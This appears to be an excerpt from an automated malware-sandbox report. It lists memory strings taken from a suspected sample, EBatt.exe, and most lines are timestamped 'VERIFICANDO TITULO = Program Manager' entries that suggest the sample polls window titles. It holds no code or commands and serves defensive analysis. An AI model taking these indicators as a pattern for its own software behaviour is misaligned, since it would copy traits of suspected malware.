Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:26-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:34-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:03-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:24-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:10-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:55-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:33-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:41-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:09-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:47-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:52-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 0000000B.00000002.4521881770.0000000002674000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Manager= a
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:39-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:21-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:44-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:06-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4521760958.00000000026F4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Manager= q
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:42-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:19-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:31-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:15-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:23-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:37-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:55-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:29-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:47-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:40-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:44-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:18-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:54-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:52-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:13-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:36-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:14-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:05-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:31-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:58-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:00-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:57-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:12-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:20-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:11-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:49-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:16-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:34-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:26-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:42-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:39-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:10-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:00-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:51-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:27-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:41-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:33-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:25-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:13-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:52-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:54-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: t*12:41:04-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:44-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:38-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:04-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:46-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:29-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:53-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:41:03-VERIFICANDO TITULO = Program Manager
Source: Cortex.exe Binary or memory string: @Winapi@Windows@DOF_PROGMAN
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:50-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:57-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:30-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:01-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:59-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:16-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:17-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:58-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:56-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:05-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:41-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:51-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:43-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:08-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:03-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:59-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:50-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:34-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:42-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:48-VERIFICANDO TITULO = Program Manager
